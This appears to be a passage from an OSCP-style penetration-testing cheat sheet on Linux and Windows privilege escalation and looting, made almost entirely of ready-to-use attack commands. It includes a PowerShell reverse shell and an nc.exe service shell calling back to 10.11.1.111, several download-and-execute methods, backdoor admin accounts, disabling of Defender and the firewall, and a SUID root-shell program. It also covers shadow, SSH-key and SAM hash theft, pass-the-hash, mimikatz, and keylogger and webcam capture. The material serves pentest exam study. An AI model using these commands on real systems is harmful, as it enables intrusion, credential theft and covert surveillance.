cd /root/oscp/useful-tools/privesc/linux/privesc-scripts; python -m SimpleHTTPServer 8080 911 | 912 | # Download all files 913 | wget http://10.11.1.111:8080/ -r; mv 10.11.1.111:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linprivchecker.py unix-privesc-check 914 | 915 | ./LinEnum.sh -t -k password -r LinEnum.txt 916 | python linprivchecker.py extended 917 | ./unix-privesc-check standard 918 | 919 | # Writable directories 920 | /tmp 921 | /var/tmp 922 | 923 | # Add user to sudoers 924 | useradd hacker 925 | passwd hacker 926 | echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers 927 | ``` 928 | 929 | ### Basic info 930 | 931 | ``` 932 | uname -a 933 | env 934 | id 935 | cat /proc/version 936 | cat /etc/issue 937 | cat /etc/passwd 938 | cat /etc/group 939 | cat /etc/shadow 940 | cat /etc/hosts 941 | 942 | # Users with login 943 | grep -vE "nologin" /etc/passwd 944 | 945 | # Priv Enumeration Scripts 946 | upload /unix-privesc-check 947 | upload /root/Desktop/Backup/Tools/Linux_privesc_tools/linuxprivchecker.py ./ 948 | upload /root/Desktop/Backup/Tools/Linux_privesc_tools/LinEnum.sh ./ 949 | 950 | python linprivchecker.py extended 951 | ./LinEnum.sh -t -k password 952 | unix-privesc-check 953 | ``` 954 | 955 | ### Kernel exploits 956 | 957 | ``` 958 | site:exploit-db.com kernel version 959 | 960 | perl /root/oscp/useful-tools/privesc/linux/Linux_Exploit_Suggester/Linux_Exploit_Suggester.pl -k 2.6 961 | 962 | python linprivchecker.py extended 963 | ``` 964 | 965 | ### Programs running as root 966 | 967 | Look for webserver, mysql or anything else like that. 968 | 969 | ``` 970 | # Metasploit 971 | ps 972 | 973 | # Linux 974 | ps aux 975 | ``` 976 | 977 | ### Installed software 978 | 979 | ``` 980 | /usr/local/ 981 | /usr/local/src 982 | /usr/local/bin 983 | /opt/ 984 | /home 985 | /var/ 986 | /usr/src/ 987 | 988 | # Debian 989 | dpkg -l 990 | 991 | # CentOS, OpenSuse, Fedora, RHEL 992 | rpm -qa (CentOS / openSUSE ) 993 | 994 | # OpenBSD, FreeBSD 995 | pkg_info 996 | ``` 997 | 998 | ### Weak/reused/plaintext passwords 999 | 1000 | - Check database config-file 1001 | - Check databases 1002 | - Check weak passwords 1003 | 1004 | ``` 1005 | username:username 1006 | username:username1 1007 | username:root 1008 | username:admin 1009 | username:qwerty 1010 | username:password 1011 | ``` 1012 | 1013 | - Check plaintext 1014 | 1015 | ``` 1016 | ./LinEnum.sh -t -k password 1017 | ``` 1018 | 1019 | ### Inside service 1020 | 1021 | ``` 1022 | # Linux 1023 | netstat -anlp 1024 | netstat -ano 1025 | ``` 1026 | 1027 | ### Suid misconfiguration 1028 | 1029 | Binary with suid permission can be run by anyone, but when they are run they are run as root! 1030 | 1031 | Example programs: 1032 | 1033 | ``` 1034 | nmap 1035 | vim 1036 | nano 1037 | ``` 1038 | 1039 | ``` 1040 | # SUID 1041 | find / -perm -4000 -type f 2>/dev/null 1042 | 1043 | # ALL PERMS 1044 | find / -perm -777 -type f 2>/dev/null 1045 | 1046 | # SUID for current user 1047 | find / perm /u=s -user `whoami` 2>/dev/null 1048 | find / -user root -perm -4000 -print 2>/dev/null 1049 | 1050 | # Writables for current user/group 1051 | find / perm /u=w -user `whoami` 2>/dev/null 1052 | find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null 1053 | find / -perm /u+w -user `whoami` 2>/dev/nul 1054 | 1055 | # Dirs with +w perms for current u/g 1056 | find / perm /u=w -type -d -user `whoami` 2>/dev/null 1057 | find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null 1058 | ``` 1059 | 1060 | ### Unmounted filesystems 1061 | 1062 | Here we are looking for any unmounted filesystems. If we find one we mount it and start the priv-esc process over again. 1063 | 1064 | ``` 1065 | mount -l 1066 | ``` 1067 | 1068 | ### Cronjob 1069 | 1070 | Look for anything that is owned by privileged user but writable for you 1071 | 1072 | ``` 1073 | crontab -l 1074 | ls -alh /var/spool/cron 1075 | ls -al /etc/ | grep cron 1076 | ls -al /etc/cron* 1077 | cat /etc/cron* 1078 | cat /etc/at.allow 1079 | cat /etc/at.deny 1080 | cat /etc/cron.allow 1081 | cat /etc/cron.deny 1082 | cat /etc/crontab 1083 | cat /etc/anacrontab 1084 | cat /var/spool/cron/crontabs/root 1085 | ``` 1086 | 1087 | ### SSH Keys 1088 | 1089 | Check all home directories 1090 | 1091 | ``` 1092 | cat ~/.ssh/authorized_keys 1093 | cat ~/.ssh/identity.pub 1094 | cat ~/.ssh/identity 1095 | cat ~/.ssh/id_rsa.pub 1096 | cat ~/.ssh/id_rsa 1097 | cat ~/.ssh/id_dsa.pub 1098 | cat ~/.ssh/id_dsa 1099 | cat /etc/ssh/ssh_config 1100 | cat /etc/ssh/sshd_config 1101 | cat /etc/ssh/ssh_host_dsa_key.pub 1102 | cat /etc/ssh/ssh_host_dsa_key 1103 | cat /etc/ssh/ssh_host_rsa_key.pub 1104 | cat /etc/ssh/ssh_host_rsa_key 1105 | cat /etc/ssh/ssh_host_key.pub 1106 | cat /etc/ssh/ssh_host_key 1107 | ``` 1108 | 1109 | ### Bad path configuration 1110 | 1111 | Require user interaction 1112 | 1113 | ### Find plain passwords 1114 | 1115 | ``` 1116 | grep -rnw '/' -ie 'pass' --color=always 1117 | grep -rnw '/' -ie 'DB_PASS' --color=always 1118 | grep -rnw '/' -ie 'DB_PASSWORD' --color=always 1119 | grep -rnw '/' -ie 'DB_USER' --color=always 1120 | ``` 1121 | 1122 | ### Scripts 1123 | 1124 | #### SUID 1125 | 1126 | ``` 1127 | int main(void){ 1128 | setresuid(0, 0, 0); 1129 | system("/bin/bash"); 1130 | } 1131 | 1132 | # Compile 1133 | gcc suid.c -o suid 1134 | ``` 1135 | 1136 | #### PS Monitor for cron 1137 | 1138 | ``` 1139 | #!/bin/bash 1140 | 1141 | # Loop by line 1142 | IFS=$'\n' 1143 | 1144 | old_process=$(ps -eo command) 1145 | 1146 | while true; do 1147 | new_process=$(ps -eo command) 1148 | diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>] 1149 | sleep 1 1150 | old_process=$new_process 1151 | done 1152 | 1153 | ``` 1154 | 1155 | ### Linux Privesc Tools 1156 | 1157 | - [GTFOBins](https://gtfobins.github.io/) 1158 | - [LinEnum](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) 1159 | - [LinuxExploitSuggester](https://gitlab.com/kalilinux/packages/linux-exploit-suggester/blob/kali/master/Linux_Exploit_Suggester.pl) 1160 | - [linuxprivchecker](https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py) 1161 | 1162 | ### Linux Precompiled Exploits 1163 | - [kernel-exploits](https://github.com/lucyoa/kernel-exploits) 1164 | 1165 | ## Windows 1166 | 1167 | Now we start the whole enumeration-process over gain. This is a checklist. You need to check of every single one, in this order. 1168 | 1169 | - Kernel exploits 1170 | - Cleartext password 1171 | - Reconfigure service parameters 1172 | - Inside service 1173 | - Program running as root 1174 | - Installed software 1175 | - Scheduled tasks 1176 | - Weak passwords 1177 | 1178 | ### Basic info 1179 | 1180 | ``` 1181 | systeminfo 1182 | set 1183 | hostname 1184 | net users 1185 | net user user1 1186 | net localgroups 1187 | accesschk.exe -uwcqv "Authenticated Users" * 1188 | 1189 | netsh firewall show state 1190 | netsh firewall show config 1191 | 1192 | # Set path 1193 | set PATH=%PATH%;C:\xampp\php 1194 | 1195 | whoami /priv 1196 | 1197 | dir/a -> Show hidden & unhidden files 1198 | dir /Q -> Show permissions 1199 | ``` 1200 | 1201 | ### Kernel exploits 1202 | 1203 | 1204 | ``` 1205 | # Look for hotfixes 1206 | systeminfo 1207 | 1208 | wmic qfe get Caption,Description,HotFixID,InstalledOn 1209 | 1210 | # Search for exploits 1211 | site:exploit-db.com windows XX XX 1212 | ``` 1213 | 1214 | ### Cleartext passwords 1215 | 1216 | ``` 1217 | # Windows autologin 1218 | reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 1219 | 1220 | # VNC 1221 | reg query "HKCU\Software\ORL\WinVNC3\Password" 1222 | 1223 | # SNMP Parameters 1224 | reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" 1225 | 1226 | # Putty 1227 | reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 1228 | 1229 | # Search for password in registry 1230 | reg query HKLM /f password /t REG_SZ /s 1231 | reg query HKCU /f password /t REG_SZ /s 1232 | ``` 1233 | 1234 | ### Reconfigure service parameters 1235 | 1236 | - Unquoted service paths 1237 | 1238 | - Weak service permissions 1239 | 1240 | https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ 1241 | 1242 | ### Dump process for passwords 1243 | 1244 | ```powershell 1245 | # Looking for Firefox 1246 | Get-Process 1247 | ./procdump64.exe -ma $PID-FF 1248 | Select-String -Path .\*.dmp -Pattern 'password' > 1.txt 1249 | type 1.txt | findstr /s /i "admin" 1250 | ``` 1251 | 1252 | ### Inside service 1253 | 1254 | Check netstat to see what ports are open from outside and from inside. Look for ports only available on the inside. 1255 | 1256 | ``` 1257 | # Meterpreter 1258 | run get_local_subnets 1259 | 1260 | netstat /a 1261 | netstat -ano 1262 | ``` 1263 | 1264 | ### Programs running as root/system 1265 | 1266 | ### Installed software 1267 | 1268 | ``` 1269 | # Metasploit 1270 | ps 1271 | 1272 | tasklist /SVC 1273 | net start 1274 | reg query HKEY_LOCAL_MACHINE\SOFTWARE 1275 | DRIVERQUERY 1276 | 1277 | Look in: 1278 | C:\Program files 1279 | C:\Program files (x86) 1280 | Home directory of the user 1281 | ``` 1282 | 1283 | ### Scheduled tasks 1284 | 1285 | ``` 1286 | schtasks /query /fo LIST /v 1287 | 1288 | Check this file: 1289 | c:\WINDOWS\SchedLgU.Txt 1290 | ``` 1291 | 1292 | ### Weak passwords 1293 | 1294 | Remote desktop 1295 | 1296 | ``` 1297 | ncrack -vv --user george -P /root/oscp/passwords.txt rdp://10.11.1.111 1298 | ``` 1299 | 1300 | ### Add user and enable RDP 1301 | 1302 | ``` 1303 | # Add new user 1304 | 1305 | net user haxxor Haxxor123 /add 1306 | net localgroup Administrators haxxor /add 1307 | net localgroup "Remote Desktop Users" haxxor /ADD 1308 | 1309 | # Turn firewall off and enable RDP 1310 | 1311 | sc stop WinDefend 1312 | netsh advfirewall show allprofiles 1313 | netsh advfirewall set allprofiles state off 1314 | netsh firewall set opmode disable 1315 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 1316 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f 1317 | ``` 1318 | 1319 | ### Powershell sudo for Windows 1320 | 1321 | ``` 1322 | $pw= convertto-securestring "EnterPasswordHere" -asplaintext -force 1323 | $pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw 1324 | $script = "C:\Users\EnterUserName\AppData\Local\Temp\test.bat" 1325 | Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}' 1326 | 1327 | powershell -ExecutionPolicy Bypass -File xyz.ps1 1328 | ``` 1329 | 1330 | ### Windows download with bitsadmin 1331 | 1332 | ``` 1333 | bitsadmin /transfer mydownloadjob /download /priority normal http:///xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe 1334 | ``` 1335 | 1336 | ### Windows download with certutil.exe 1337 | 1338 | ``` 1339 | certutil.exe -urlcache -split -f "http://10.11.1.111/Powerless.bat" Powerless.bat 1340 | ``` 1341 | 1342 | ### Windows download with powershell 1343 | 1344 | ```` 1345 | powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.1.111/file.exe','C:\Users\user\Desktop\file.exe')" 1346 | 1347 | (New-Object System.Net.WebClient).DownloadFile("http://10.11.1.111/CLSID.list","C:\Users\Public\CLSID.list") 1348 | ```` 1349 | 1350 | ### Windows Download from FTP 1351 | 1352 | ``` 1353 | # In reverse shell 1354 | echo open 10.11.1.111 > ftp.txt 1355 | echo USER anonymous >> ftp.txt 1356 | echo ftp >> ftp.txt 1357 | echo bin >> ftp.txt 1358 | echo GET file >> ftp.txt 1359 | echo bye >> ftp.txt 1360 | 1361 | # Execute 1362 | ftp -v -n -s:ftp.txt 1363 | ``` 1364 | 1365 | ### Windows create SMB Server transfer files 1366 | 1367 | ```bash 1368 | # Attack machine 1369 | python /usr/share/doc/python-impacket/examples/smbserver.py Lab "/root/labs/public/10.11.1.111" 1370 | 1371 | # Or SMB service 1372 | # http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html 1373 | vim /etc/samba/smb.conf 1374 | [global] 1375 | workgroup = WORKGROUP 1376 | server string = Samba Server %v 1377 | netbios name = indishell-lab 1378 | security = user 1379 | map to guest = bad user 1380 | name resolve order = bcast host 1381 | dns proxy = no 1382 | bind interfaces only = yes 1383 | 1384 | [ica] 1385 | path = /var/www/html/pub 1386 | writable = no 1387 | guest ok = yes 1388 | guest only = yes 1389 | read only = yes 1390 | directory mode = 0555 1391 | force user = nobody 1392 | 1393 | chmod -R 777 smb_path 1394 | chown -R nobody:nobody smb_path 1395 | service smbd restart 1396 | 1397 | # Victim machine with reverse shell 1398 | Download: copy \\10.11.1.111\Lab\wce.exe . 1399 | Upload: copy wtf.jpg \\10.11.1.111\Lab 1400 | 1401 | ``` 1402 | 1403 | ### Windows download with VBS 1404 | 1405 | ```` 1406 | # In reverse shell 1407 | echo strUrl = WScript.Arguments.Item(0) > wget.vbs 1408 | echo StrFile = WScript.Arguments.Item(1) >> wget.vbs 1409 | echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs 1410 | echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs 1411 | echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs 1412 | echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs 1413 | echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs 1414 | echo Err.Clear >> wget.vbs 1415 | echo Set http = Nothing >> wget.vbs 1416 | echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs 1417 | echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs 1418 | echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs 1419 | echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs 1420 | echo http.Open "GET",strURL,False >> wget.vbs 1421 | echo http.Send >> wget.vbs 1422 | echo varByteArray = http.ResponseBody >> wget.vbs 1423 | echo Set http = Nothing >> wget.vbs 1424 | echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs 1425 | echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs 1426 | echo strData = "" >> wget.vbs 1427 | echo strBuffer = "" >> wget.vbs 1428 | echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs 1429 | echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs 1430 | echo Next >> wget.vbs 1431 | echo ts.Close >> wget.vbs 1432 | 1433 | # Execute 1434 | cscript wget.vbs http://10.11.1.111/file.exe file.exe 1435 | ```` 1436 | 1437 | ### Windowss XP SP1 PrivEsc 1438 | 1439 | ```bash 1440 | sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.1.111 4343 -e C:\WINDOWS\System32\cmd.exe" 1441 | sc config upnphost obj= ".\LocalSystem" password= "" 1442 | sc qc upnphost 1443 | sc config upnphost depend= "" 1444 | net start upnphost 1445 | ``` 1446 | 1447 | ### Pass The Hash 1448 | 1449 | ``` 1450 | # Login as user only with hashdump 1451 | # From this hashdump 1452 | # admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7::: 1453 | 1454 | msf5 > use exploit/windows/smb/psexec 1455 | msf5 exploit(windows/smb/psexec) > options 1456 | 1457 | Module options (exploit/windows/smb/psexec): 1458 | 1459 | Name Current Setting Required Description 1460 | ---- --------------- -------- ----------- 1461 | RHOSTS yes The target address range or CIDR identifier 1462 | RPORT 445 yes The SMB service port (TCP) 1463 | SERVICE_DESCR10.11.1.111TION no Service description to to be used on target for pretty listing 1464 | SERVICE_DISPLAY_NAME no The service display name 1465 | SERVICE_NAME no The service name 1466 | SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share 1467 | SMBDomain . no The Windows domain to use for authentication 1468 | SMBPass no The password for the specified username 1469 | SMBUser no The username to authenticate as 1470 | 1471 | Exploit target: 1472 | 1473 | Id Name 1474 | -- ---- 1475 | 0 Automatic 1476 | 1477 | msf5 exploit(windows/smb/psexec) > set rhosts 10.10.0.100 1478 | rhosts => 10.10.0.100 1479 | 1480 | msf5 exploit(windows/smb/psexec) > set smbuser admin2 1481 | 1482 | smbuser => admin2 1483 | 1484 | msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7 1485 | 1486 | smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7 1487 | 1488 | msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp 1489 | 1490 | payload => windows/x64/meterpreter/reverse_tcp 1491 | 1492 | ``` 1493 | 1494 | ### Scripts 1495 | 1496 | #### Useradd 1497 | 1498 | ```` 1499 | #include /* system, NULL, EXIT_FAILURE */ 1500 | 1501 | int main () 1502 | { 1503 | int i; 1504 | i=system ("net user /add && net localgroup administrators /add"); 1505 | return 0; 1506 | } 1507 | 1508 | # Compile 1509 | i686-w64-mingw32-gcc -o useradd.exe useradd.c 1510 | ```` 1511 | 1512 | #### Powershell Run As 1513 | 1514 | ``` 1515 | echo $username = '' > runas.ps1 1516 | echo $securePassword = ConvertTo-SecureString "" -AsPlainText -Force >> runas.ps1 1517 | echo $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword >> runas.ps1 1518 | echo Start-Process C:\Users\User\AppData\Local\Temp\backdoor.exe -Credential $credential >> runas.ps1 1519 | ``` 1520 | 1521 | #### Powershell Reverse Shell 1522 | 1523 | ```powershell 1524 | Set-ExecutionPolicy Bypass 1525 | 1526 | $client = New-Object System.Net.Sockets.TCPClient('10.11.1.111',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 1527 | ``` 1528 | 1529 | 1530 | 1531 | ### Windows privesc/enum tools 1532 | 1533 | - [windows-exploit-suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py) 1534 | - [windows-privesc-check](https://github.com/pentestmonkey/windows-privesc-check) 1535 | - [PowerUp](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1) 1536 | 1537 | ### Windows precompiled exploits 1538 | 1539 | - [WindowsExploits](https://github.com/abatchy17/WindowsExploits) 1540 | 1541 | ### Windows Port Forwarding 1542 | 1543 | Run in victim (5985 WinRM): 1544 | 1545 | `plink -l LOCALUSER -pw LOCALPASSWORD LOCALIP -R 5985:127.0.0.1:5985 -P 221` 1546 | 1547 | 1548 | 1549 | # **Loot** 1550 | 1551 | ## Linux 1552 | 1553 | **Checklist** 1554 | 1555 | - Proof: 1556 | - Network secret: 1557 | - Passwords and hashes: 1558 | - Dualhomed: 1559 | - Tcpdump: 1560 | - Interesting files: 1561 | - Databases: 1562 | - SSH-keys: 1563 | - Browser: 1564 | - Mail: 1565 | 1566 | ### Proof 1567 | ``` 1568 | echo -e '\n'HOSTNAME: && hostname && echo -e '\n'WHOAMI: && whoami && echo -e '\n'PROOF: && cat proof.txt && echo -e '\n'IFCONFIG: && /sbin/ifconfig && echo -e '\n'PASSWD: && cat /etc/passwd && echo -e '\n'SHADOW: && cat /etc/shadow && echo -e '\n'NETSTAT: && netstat -antup 1569 | ``` 1570 | 1571 | 1572 | ### Network secret 1573 | 1574 | ``` 1575 | /root/network-secret.txt 1576 | ``` 1577 | 1578 | ### Passwords and hashes 1579 | 1580 | ``` 1581 | cat /etc/passwd 1582 | cat /etc/shadow 1583 | 1584 | unshadow passwd shadow > unshadowed.txt 1585 | john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt 1586 | ``` 1587 | 1588 | ### Dualhomed 1589 | 1590 | ``` 1591 | ifconfig 1592 | ifconfig -a 1593 | arp -a 1594 | ``` 1595 | 1596 | ### Tcpdump 1597 | 1598 | ``` 1599 | tcpdump -i any -s0 -w capture.pcap 1600 | tcpdump -i eth0 -w capture -n -U -s 0 src not 10.11.1.111 and dst not 10.11.1.111 1601 | tcpdump -vv -i eth0 src not 10.11.1.111 and dst not 10.11.1.111 1602 | ``` 1603 | 1604 | ### Interesting files 1605 | 1606 | ``` 1607 | #Meterpreter 1608 | search -f *.txt 1609 | search -f *.zip 1610 | search -f *.doc 1611 | search -f *.xls 1612 | search -f config* 1613 | search -f *.rar 1614 | search -f *.docx 1615 | search -f *.sql 1616 | use auxiliary/sniffer/psnuffle 1617 | 1618 | .ssh: 1619 | .bash_history 1620 | ``` 1621 | 1622 | ### Databases 1623 | 1624 | ### SSH-Keys 1625 | 1626 | ### Browser 1627 | 1628 | ### Mail 1629 | 1630 | ``` 1631 | /var/mail 1632 | /var/spool/mail 1633 | ``` 1634 | 1635 | ### GUI 1636 | 1637 | If there is a gui we want to check out the browser. 1638 | 1639 | ``` 1640 | echo $DESKTOP_SESSION 1641 | echo $XDG_CURRENT_DESKTOP 1642 | echo $GDMSESSION 1643 | ``` 1644 | 1645 | ## Windows 1646 | 1647 | ### Proof 1648 | ``` 1649 | hostname && whoami.exe && type proof.txt && ipconfig /all 1650 | ``` 1651 | 1652 | ### Passwords and hashes 1653 | 1654 | ``` 1655 | wce32.exe -w 1656 | wce64.exe -w 1657 | fgdump.exe 1658 | 1659 | # Loot passwords without tools 1660 | reg.exe save hklm\sam c:\sam_backup 1661 | reg.exe save hklm\security c:\security_backup 1662 | reg.exe save hklm\system c:\system 1663 | 1664 | # Meterpreter 1665 | hashdump 1666 | load mimikatz 1667 | msv 1668 | ``` 1669 | 1670 | ### Dualhomed 1671 | 1672 | ``` 1673 | ipconfig /all 1674 | route print 1675 | 1676 | # What other machines have been connected 1677 | arp -a 1678 | ``` 1679 | 1680 | ### Tcpdump 1681 | 1682 | ``` 1683 | # Meterpreter 1684 | run packetrecorder -li 1685 | run packetrecorder -i 1 1686 | ``` 1687 | 1688 | ### Interesting files 1689 | 1690 | ``` 1691 | #Meterpreter 1692 | search -f *.txt 1693 | search -f *.zip 1694 | search -f *.doc 1695 | search -f *.xls 1696 | search -f config* 1697 | search -f *.rar 1698 | search -f *.docx 1699 | search -f *.sql 1700 | hashdump 1701 | keysscan_start 1702 | keyscan_dump 1703 | keyscan_stop 1704 | webcam_snap 1705 | 1706 | # How to cat files in meterpreter 1707 | cat c:\\Inetpub\\iissamples\\sdk\\asp\\components\\adrot.txt 1708 | 1709 | # Recursive search 1710 | dir /s 1711 | ``` 1712 | --------------------------------------------------------------------------------